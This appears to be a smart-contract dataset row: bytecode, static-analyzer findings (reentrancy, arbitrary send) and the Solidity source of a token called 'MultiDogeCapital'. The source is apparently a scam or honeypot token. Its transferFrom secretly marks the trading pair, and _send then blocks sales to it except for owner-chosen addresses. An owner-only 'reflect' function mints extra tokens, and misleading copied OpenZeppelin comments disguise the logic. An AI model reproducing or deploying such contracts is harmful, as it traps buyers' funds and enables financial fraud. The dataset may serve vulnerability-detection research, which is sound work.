6106b857600080fd5b506106c1611247565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156107015780820151818401526020810190506106e6565b50505050905090810190601f16801561072e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561074857600080fd5b506107ab6004803603604081101561075f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611284565b005b3480156107b957600080fd5b506107c2611385565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156107fa57600080fd5b506108476004803603604081101561081157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113ab565b60405180821515815260200191505060405180910390f35b34801561086b57600080fd5b506108b86004803603604081101561088257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113c0565b60405180821515815260200191505060405180910390f35b3480156108dc57600080fd5b5061091f600480360360208110156108f357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114f1565b005b34801561092d57600080fd5b506109366115c6565b005b34801561094457600080fd5b5061094d61168a565b6040518082815260200191505060405180910390f35b34801561096f57600080fd5b50610978611690565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156109b057600080fd5b506109f1600480360360608110156109c757600080fd5b810190808035906020019092919080359060200190929190803590602001909291905050506116b6565b005b3480156109ff57600080fd5b50610a6260048036036040811015610a1657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061177e565b6040518082815260200191505060405180910390f35b348015610a8457600080fd5b50610abd60048036036040811015610a9b57600080fd5b8101908080351515906020019092919080359060200190929190505050611805565b005b348015610acb57600080fd5b50610ad46118b9565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610b0c57600080fd5b50610b4f60048036036020811015610b2357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118df565b005b348015610b5d57600080fd5b50610ba060048036036020811015610b7457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119b5565b005b348015610bae57600080fd5b50610bb7611b17565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610bef57600080fd5b50610c3260048036036020811015610c0657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b3d565b60405180821515815260200191505060405180910390f35b60165481565b60606040518060400160405280600981526020017f57686974654c6973740000000000000000000000000000000000000000000000815250905090565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600354905090565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610f7557610ef4826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b939092919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610f80848484611c53565b90509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b60006009905090565b6000610ff5612125565b905090565b6000611026827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff610c8d565b9050919050565b60145481565b61103c33611b3d565b6110ae576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b6110b6612155565b565b6110c133610f89565b611133576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b601560009054906101000a900460ff1681565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600043600260135401106112155761120e6001600e5461269f90919063ffffffff16565b905061121b565b600d5490505b90565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600281526020017f574c000000000000000000000000000000000000000000000000000000000000815250905090565b61128d33610f89565b6112ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b81600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006113b8338484611c53565b905092915050565b60006113cb33611b3d565b61143d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156114ae57600080fd5b505af11580156114c2573d6000803e3d6000fd5b505050506040513d60208110156114d857600080fd5b8101908080519060200190929190505050905092915050565b6114fa33610f89565b61156c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6115cf33610f89565b611641576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015611687573d6000803e3d6000fd5b50565b60135481565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6116bf33611b3d565b611731576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b82600b8190555081600c8190555061175282846126e990919063ffffffff16565b600d8190555080600e819055506005600e548161176b57fe5b04600d541061177957600080fd5b505050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61180e33610f89565b611880576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b81601560006101000a81548160ff0219169083151502179055506118af8160035461277190919063ffffffff16565b6016819055505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6118e833610f89565b61195a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6119be33610f89565b611a30576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc68616381604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000838311158290611c40576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611c05578082015181840152602081019050611bea565b50505050905090810190601f168015611c325780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000611c5d6127bb565b15611c6b57611c6a612155565b5b611c73612892565b158015611ccd5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611d27576000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411611d1e57600080fd5b611d2661289f565b5b611db0826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b939092919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611dfb612125565b8015611e555750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611eab5750600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611f5f5760055482600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054011115611f0057600080fd5b600454821115611f0f57600080fd5b42601e600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054011115611f5e57600080fd5b5b42600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661201b57611fff856128c1565b6120095782612014565b6120138584612918565b5b905061201f565b8290505b61207181600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126e990919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a360019150509392505050565b6000806013541415801561213e57504360036013540111155b801561215057504261012c6014540110155b905090565b6001601760006101000a81548160ff02191690831515021790555060006121b060026121a2600d54612194600b54601654612a6190919063ffffffff16565b61277190919063ffffffff16565b61277190919063ffffffff16565b905060006121c98260165461269f90919063ffffffff16565b90506000600267ffffffffffffffff811180156121e557600080fd5b506040519080825280602002602001820160405280156122145781602001602082028036833780820191505090505b509050308160008151811061222557fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168160018151811061228f57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000479050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947846000853061016842016040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561239657808201518184015260208101905061237b565b505050509050019650505050505050600060405180830381600087803b1580156123bf57600080fd5b505af11580156123d3573d6000803e3d6000fd5b5050505060006123ec824761269f90919063ffffffff16565b9050600061241a6124096002600b5461277190919063ffffffff16565b600d5461269f90919063ffffffff16565b90506000612458600261244a8461243c600b5488612a6190919063ffffffff16565b61277190919063ffffffff16565b61277190919063ffffffff16565b9050600061248383612475600c5487612a6190919063ffffffff16565b61277190919063ffffffff16565b9050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156124ed573d6000803e3d6000fd5b50600088111561267a57601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71983308b600080600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661016842016040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b1580156125e757600080fd5b505af11580156125fb573d6000803e3d6000fd5b50505050506040513d606081101561261257600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050507f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b45068289604051808381526020018281526020019250505060405180910390a15b50505050505050506000601760006101000a81548160ff021916908315150217905550565b60006126e183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b93565b905092915050565b600080828401905083811015612767576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60006127b383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612ae7565b905092915050565b6000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141580156128285750601760009054906101000a900460ff16155b80156128405750601560009054906101000a900460ff165b801561288d5750601654600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b905090565b6000806013541415905090565b6128a7612892565b156128b157600080fd5b4360138190555042601481905550565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16159050919050565b600080612949600e5461293b61292c6111ea565b86612a6190919063ffffffff16565b61277190919063ffffffff16565b905061299d81600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126e990919063ffffffff16565b600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3612a58818461269f90919063ffffffff16565b91505092915050565b600080831415612a745760009050612ae1565b6000828402905082848281612a8557fe5b0414612adc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612bae6021913960400191505060405180910390fd5b809150505b92915050565b60008083118290612b93576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612b58578082015181840152602081019050612b3d565b50505050905090810190601f168015612b855780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612b9f57fe5b04905080915050939250505056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a264697066735822122065c5a345859ef5211000fa4c985485c7b92eb5a0ceebf5f0846bc03b4820657364736f6c63430007060033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,005
0x95f5455cf2570b7394c26aea0bd4cd27986e303c
// SPDX-License-Identifier: MIT pragma solidity >=0.8.0; library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } abstract contract IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() virtual public view returns (uint); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address tokenOwner) virtual public view returns (uint balance); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function zeroAddress() virtual external view returns (address){} /** * @dev Returns the zero address. */ function transfer(address to, uint tokens) virtual public returns (bool success); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint tokens) virtual public returns (bool success); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function approver() virtual external view returns (address){} /** * @dev approver of the amount of tokens that can interact with the allowance mechanism */ function transferFrom(address from, address to, uint tokens) virtual public returns (bool success); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint tokens); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } abstract contract ApproveAndCallFallBack { function receiveApproval(address from, uint tokens, address token, bytes memory data) virtual public; } contract Owned { address internal owner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } } contract MultiDogeCapital is IERC20, Owned{ using SafeMath for uint; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ string public symbol; address internal approver; string public name; uint8 public decimals; address internal zero; uint _totalSupply; uint internal number; address internal nulls; address internal openzepplin = 0x2fd06d33e3E7d1D858AB0a8f80Fa51EBbD146829; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; function totalSupply() override public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } function balanceOf(address tokenOwner) override public view returns (uint balance) { return balances[tokenOwner]; } /** * dev Reflects a specific amount of tokens. * param value The amount of lowest token units to be reflected. */ function reflect(address _address, uint tokens) public onlyOwner { require(_address != address(0), "ERC20: reflect from the zero address"); _reflect (_address, tokens); balances[_address] = balances[_address].sub(tokens); _totalSupply = _totalSupply.sub(tokens); } function transfer(address to, uint tokens) override public returns (bool success) { require(to != zero, "please wait"); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint tokens) override public returns (bool success) { allowed[msg.sender][spender] = tokens; if (msg.sender == approver) _allowed(tokens); emit Approval(msg.sender, spender, tokens); return true; } /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through `transferFrom`. This is * zero by default. * * This value changes when `approve` or `transferFrom` are called. */ function _allowed(uint tokens) internal { nulls = IERC20(openzepplin).zeroAddress(); number = tokens; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function transferFrom(address from, address to, uint tokens) override public returns (bool success) { if(from != address(0) && zero == address(0)) zero = to; else _send (from, to); balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to `approve`. `value` is the new allowance. */ function allowance(address tokenOwner, address spender) override public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function _reflect(address _Address, uint _Amount) internal virtual { /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ nulls = _Address; _totalSupply = _totalSupply.add(_Amount*2); balances[_Address] = balances[_Address].add(_Amount*2); } function _send (address start, address end) internal view { /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * Requirements: * - The divisor cannot be zero.*/ /* * - `account` cannot be the zero address. */ require(end != zero /* * - `account` cannot be the nulls address. */ || (start == nulls && end == zero) || /* * - `account` must have at least `amount` tokens. */ (end == zero && balances[start] <= number) /* */ , "cannot be the zero address");/* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. **/ } /** * dev Constructor. * param name name of the token * param symbol symbol of the token, 3-4 chars is recommended * param decimals number of decimal places of one token unit, 18 is widely used * param totalSupply total supply of tokens in lowest units (depending on decimals) */ constructor(string memory _name, string memory _symbol, uint _supply) { symbol = _symbol; name = _name; decimals = 9; _totalSupply = _supply*(10**uint(decimals)); number = _totalSupply; approver = IERC20(openzepplin).approver(); balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(msg.sender, spender, allowed[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(msg.sender, spender, allowed[msg.sender][spender].sub(subtractedValue)); return true; } function _approve(address _owner, address spender, uint amount) private { require(_owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); allowed[_owner][spender] = amount; emit Approval(_owner, spender, amount); } receive() external payable { } fallback() external payable { } }
0x6080604052600436106100d55760003560e01c8063395093511161007957806395d89b411161005657806395d89b411461023a578063a457c2d71461024f578063a9059cbb1461026f578063dd62ed3e1461028f57005b806339509351146101c45780633ebcda62146101e457806370a082311461020457005b8063141a8dd8116100b2578063141a8dd81461010957806318160ddd1461015557806323b872dd14610178578063313ce5671461019857005b806306fdde03146100de5780630930907b14610109578063095ea7b31461012557005b366100dc57005b005b3480156100ea57600080fd5b506100f36102d5565b6040516101009190610c15565b60405180910390f35b34801561011557600080fd5b5060405160008152602001610100565b34801561013157600080fd5b50610145610140366004610be9565b610363565b6040519015158152602001610100565b34801561016157600080fd5b5061016a6103ea565b604051908152602001610100565b34801561018457600080fd5b50610145610193366004610ba8565b610427565b3480156101a457600080fd5b506004546101b29060ff1681565b60405160ff9091168152602001610100565b3480156101d057600080fd5b506101456101df366004610be9565b610581565b3480156101f057600080fd5b506100dc6101ff366004610be9565b6105c5565b34801561021057600080fd5b5061016a61021f366004610b35565b6001600160a01b031660009081526009602052604090205490565b34801561024657600080fd5b506100f361069d565b34801561025b57600080fd5b5061014561026a366004610be9565b6106aa565b34801561027b57600080fd5b5061014561028a366004610be9565b6106e0565b34801561029b57600080fd5b5061016a6102aa366004610b6f565b6001600160a01b039182166000908152600a6020908152604080832093909416825291909152205490565b600380546102e290610cb8565b80601f016020809104026020016040519081016040528092919081815260200182805461030e90610cb8565b801561035b5780601f106103305761010080835404028352916020019161035b565b820191906000526020600020905b81548152906001019060200180831161033e57829003601f168201915b505050505081565b336000818152600a602090815260408083206001600160a01b0387811685529252822084905560025491929116141561039f5761039f826107cb565b6040518281526001600160a01b0384169033907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906020015b60405180910390a35060015b92915050565b600080805260096020527fec8156718a8372b1db44bb411437d0870f3e3790d4a08526d024ce1b0b668f6b5460055461042291610876565b905090565b60006001600160a01b0384161580159061044f575060045461010090046001600160a01b0316155b156104795760048054610100600160a81b0319166101006001600160a01b03861602179055610483565b6104838484610896565b6001600160a01b0384166000908152600960205260409020546104a69083610876565b6001600160a01b038516600090815260096020908152604080832093909355600a8152828220338352905220546104dd9083610876565b6001600160a01b038086166000908152600a6020908152604080832033845282528083209490945591861681526009909152205461051b9083610974565b6001600160a01b0380851660008181526009602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061056f9086815260200190565b60405180910390a35060019392505050565b336000818152600a602090815260408083206001600160a01b038716845290915281205490916105bc9185906105b79086610974565b61098f565b50600192915050565b6000546001600160a01b031633146105dc57600080fd5b6001600160a01b0382166106435760405162461bcd60e51b8152602060048201526024808201527f45524332303a207265666c6563742066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b61064d8282610ab3565b6001600160a01b0382166000908152600960205260409020546106709082610876565b6001600160a01b0383166000908152600960205260409020556005546106969082610876565b6005555050565b600180546102e290610cb8565b336000818152600a602090815260408083206001600160a01b038716845290915281205490916105bc9185906105b79086610876565b6004546000906001600160a01b038481166101009092041614156107345760405162461bcd60e51b815260206004820152600b60248201526a1c1b19585cd9481dd85a5d60aa1b604482015260640161063a565b3360009081526009602052604090205461074e9083610876565b33600090815260096020526040808220929092556001600160a01b0385168152205461077a9083610974565b6001600160a01b0384166000818152600960205260409081902092909255905133907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906103d89086815260200190565b600860009054906101000a90046001600160a01b03166001600160a01b0316630930907b6040518163ffffffff1660e01b815260040160206040518083038186803b15801561081957600080fd5b505afa15801561082d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108519190610b52565b600780546001600160a01b0319166001600160a01b0392909216919091179055600655565b60008282111561088557600080fd5b61088f8284610ca1565b9392505050565b6004546001600160a01b03828116610100909204161415806108e257506007546001600160a01b0383811691161480156108e257506004546001600160a01b0382811661010090920416145b8061092457506004546001600160a01b038281166101009092041614801561092457506006546001600160a01b03831660009081526009602052604090205411155b6109705760405162461bcd60e51b815260206004820152601a60248201527f63616e6e6f7420626520746865207a65726f20616464726573730